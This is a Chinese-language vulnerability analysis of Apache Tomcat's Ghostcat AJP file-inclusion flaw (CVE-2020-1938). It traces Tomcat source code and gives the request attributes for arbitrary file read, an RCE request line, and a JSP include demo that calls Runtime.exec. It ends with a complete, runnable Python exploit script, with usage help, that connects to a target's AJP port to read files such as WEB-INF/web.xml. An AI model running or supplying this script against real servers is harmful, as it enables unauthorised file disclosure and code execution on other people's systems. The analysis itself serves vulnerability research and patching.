（CVE-2020-1938）Apache Tomcat 文件包含漏洞
===========================================
一、漏洞简介
------------
对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector
且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat
漏洞利用的风险。
注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009
二、漏洞影响
------------
- Apache Tomcat 6
- Apache Tomcat 7 \< 7.0.100
- Apache Tomcat 8 \< 8.5.51
- Apache Tomcat 9 \< 9.0.31
三、复现过程
------------
### 漏洞分析
由于 **AJP** 并不是一个 **HTTP** 业务流，走的是 **Socket** ，所以
**tomcat** 前面接收业务流的时候调用的是一个 **Socket** 解析类
**SocketProcessorBase\#dorun** 来处理 **ajp** 传入的二进制流。
ApacheTomcat文件包含漏洞/media/rId25.png)
而后面这部分的数据流实际上都是 **socket** 内部进行流传处理。
ApacheTomcat文件包含漏洞/media/rId26.png)
这里需要感谢 **tomcat** 优雅的代码风格，可读性真强，和 **socket** 相关的
**service**
就下图里面的这些，所以AJP的业务流自然就落在了`org/apache/coyote/ajp/AjpProcessor#service`这个方法上面进行处理。
ApacheTomcat文件包含漏洞/media/rId27.png)
这`org/apache/coyote/ajp/AjpProcessor#service`这个方法里面就留两个关键部分，其他代码太繁杂了，无关大雅，这里首先`this.prepareRequest()`方法是针对整个业务流进行预处理。
Copy to clipboard public SocketState service(SocketWrapperBase<?> socket) throws IOException {
...
while(!this.getErrorState().isError() && !this.endpoint.isPaused()) {
try {
...
if (this.getErrorState().isIoAllowed()) {
rp.setStage(2);
try {
this.prepareRequest();
} catch (Throwable var12) {
...
if (this.getErrorState().isIoAllowed()) {
try {
rp.setStage(3);
this.getAdapter().service(this.request, this.response);
}
...
}
跟进 **prepareRequest** 方法，这个方法会进行一个 **while** 为 **true**
的无限循环，根据`attributeCode`的结果进行选择，命中 **case 10**
核心中有个`request.setAttribute(n, v)`方法，这个方法会从我们之前设置方法中取值，设置，遍历循环POC中的`javax.servlet.include.request_uri`，`javax.servlet.include.path_info`，`javax.servlet.include.servlet_path`这三个属性对应的值，并且通过PUT方法进行赋值。
Copy to clipboard private void prepareRequest() {
...
while(true) {
byte attributeCode;
while((attributeCode = this.requestHeaderMessage.getByte()) != -1) {
switch(attributeCode) {
...
case 10:
...
} else {
this.request.setAttribute(n, v);
}
break;
ApacheTomcat文件包含漏洞/media/rId28.png)
好了，这里知道了在 **prepareRequest**
方法中核心是将三个值动态赋予我们想要的结果，再回到`org/apache/coyote/ajp/AjpProcessor#service`中，在经过
**prepareRequest**
方法处理之后来到的就是`getAdapter().service(this.request, this.response);`，这个
**serivce** 就是后续处理 **request** 对象和 **response** 对象了。
ApacheTomcat文件包含漏洞/media/rId29.png)
在 **org/apache/catalina/connector/CoyoteAdapter\#service**
这个类中，主要是设置一些连接的时候一些属性，然后通过 **invoke**
反射方法，根据 **request** 对象和 **response**
对象进入后面的HTTP处理逻辑。
ApacheTomcat文件包含漏洞/media/rId30.png)
ApacheTomcat文件包含漏洞/media/rId31.png)
所以又回到了前面的老话，tomcat完善的代码结构，HTTP的逻辑服务处理，自然是落在了
**javax/servlet/http/HttpServlet\#service** 当中。
ApacheTomcat文件包含漏洞/media/rId32.png)
### 任意文件读取
前面是整个 **AJP-\>HTTP** 整个过程，继续往下跟入，因为通过 **AJP**
转换之后，进行的是 **HTTP GET** 请求，所以来到的自然是是下图中代码位置。
ApacheTomcat文件包含漏洞/media/rId34.png)
跟进 **doGet** 自然来到之前安恒通告说的地方。
ApacheTomcat文件包含漏洞/media/rId35.png)
继续跟入 **serveResource**，首先 **getRelativePath** 从之前传入的
**request** 对象中获取 **path** 。
ApacheTomcat文件包含漏洞/media/rId36.png)
跟进 **getRelativePath** ，一眼就知道为什么要设置 **request\_uri**
、**path\_info** 、**servlet\_path**
这三个属性了，通过路径的拼接，最后返回的 **servletPath**
为`/`，容器内部为 **/WEB-INF/web.xml** 的文件内容。
ApacheTomcat文件包含漏洞/media/rId37.png)
继续回到 **serveResource** 方法中 **getResource** 根据前面的 **path**
也就是 **/WEB-INF/web.xml**
进行资源获取。而这里是没办法`../`出去的，原因继续往下看。
ApacheTomcat文件包含漏洞/media/rId38.png)
在 **getResource** 当中有个 **validate** ，这个检查往后走会调用
**normalize** 进行目录遍历的检查，之后就是输出读到的内容了。
ApacheTomcat文件包含漏洞/media/rId39.png)
ApacheTomcat文件包含漏洞/media/rId40.png)
由于当前 **AJP** 出不了 **webapps**
目录，但是是可以做到任意目录下读的，比如我需要读 **/example/2.txt**
下的文件，只需要这样配置就好了。
Copy to clipboard {'name':'req_attribute','value':['javax.servlet.include.request_uri','/examples']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',2.txt]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
ApacheTomcat文件包含漏洞/media/rId41.png)
附上任意文件读取的调用栈
Copy to clipboardserveResource:839, DefaultServlet (org.apache.catalina.servlets)
doGet:504, DefaultServlet (org.apache.catalina.servlets)
service:634, HttpServlet (javax.servlet.http)
service:484, DefaultServlet (org.apache.catalina.servlets)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:476, AjpProcessor (org.apache.coyote.ajp)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
### RCE
Copy to clipboard"HTTP/1.1" "/1.jsp" 127.0.0.1 localhost porto 8009 false "Cookie:AAAA=BBBB" "javax.servlet.include.request_uri:/","javax.servlet.include.path_info:1.txt","javax.servlet.include.servlet_path:/upload/"
`org/apache/jasper/servlet/JspServlet#service`负责处理`xxx.jsp`访问逻辑，跟进来
**jspUri** 是通过 **servlet\_path** 和 **path\_info** 拼接而来的。
ApacheTomcat文件包含漏洞/media/rId43.png)
之后便会进入 **serviceJspFile** 逻辑进行处理。
ApacheTomcat文件包含漏洞/media/rId44.png)
跟进 **serviceJspFile** 方法，首先先通过 **getResource**
获取上传文件的内容，然后再通过初始化 **wrapper**
对象传入相关参数，然后再调用 **JspServletWrapper\#service** 进行解析。
ApacheTomcat文件包含漏洞/media/rId45.png)
这简单解释一下，**RCE** 的核心需要进入的 **JspServlet** ，我们平常访问
**xxx.jsp** 是进入到 **Jspservlet** ，poc中访问`/1.jsp`通过 **AJP**
发包的过程中实际上就是我们的Get请求访问`www.xxx.com/1.jsp`，所以这里自然进入了
**JspServlet** 当中，然后再配合 **getResource** 获取上传的文件内容，调用
**Jsp** 引擎进行解析，自然达到了RCE的效果。
最后附上RCE的调用栈
Copy to clipboardexec:347, Runtime (java.lang)
_jspService:1, _1_txt (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:741, HttpServlet (javax.servlet.http)
service:476, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:386, JspServlet (org.apache.jasper.servlet)
service:330, JspServlet (org.apache.jasper.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:493, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:137, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:476, AjpProcessor (org.apache.coyote.ajp)
process:66, AbstractProcessorLight (org.apache.coyote)
process:808, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1498, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
**后话**
我试了一下jsp的文件包含，这个demo下也是可以的，所以实际上RCE就是jsp的文件包含搞的鬼，要先上传一个文件，这个文件路径可被包含，然后读取模版解析，最后RCE。
Copy to clipboard//1.jsp
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8" %>
<%@ include file="1.txt" %>
//1.txt
<%@ Runtime.getRuntime().exec("open /System/Applications/Calculator.app");%>
另外前面可能有师傅会问为什么是GET，原因是下面这个POC有`forwardrequest 2`，根据AJP数据包格式`第6个字节(02)代表是Get请求`。另外在Tomcat中也有相关映射关系，在
**AjpProcessor** 做 **prepareRequest**
处理的时候会根据字节选择相关的请求方式。
ApacheTomcat文件包含漏洞/media/rId46.png)
### poc
(py27)> python .\cve-2020-1938-poc.py -h
usage: cve-2020-1938-poc.py [-h] [-p PORT] [-w WEBAPP] [-f FILE] [-l] target
positional arguments:
target Hostname or IP to attack
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT AJP port to attack (default is 8009)
-w WEBAPP, --webapp WEBAPP
Which webapp to attack (default is ROOT
-f FILE, --file FILE file path :(WEB-INF/web.xml)
-l, --lfi local file include
### python2.7
#!/usr/bin/env python
# CNVD-2020-10487 Tomcat-Ajp lfi
# Based on: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/
#
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
import socket
import struct
import argparse
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD,
'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route",
"ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(
7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[], lfi=False):
if lfi:
self.req_uri = req_uri + '.jspx'
else:
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(
self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" %
(self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
"%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(
self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" %
snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009,
help="AJP port to attack (default is 8009)")
parser.add_argument('-w', '--webapp', type=str, default='ROOT',
help="Which webapp to attack (default is ROOT")
parser.add_argument('-f', '--file', type=str,
default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('-l', '--lfi', action="store_true",
help="local file include")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request('/'+args.webapp+'/', attributes=[
{'name': 'req_attribute', 'value': [
'javax.servlet.include.request_uri', '/']},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.path_info', args.file]},
{'name': 'req_attribute', 'value': [
'javax.servlet.include.servlet_path', '/']},
], lfi=args.lfi)
print('----------------------------')
print("".join([d.data for d in data]))
参考链接
--------
> <https://forum.90sec.com/t/topic/801>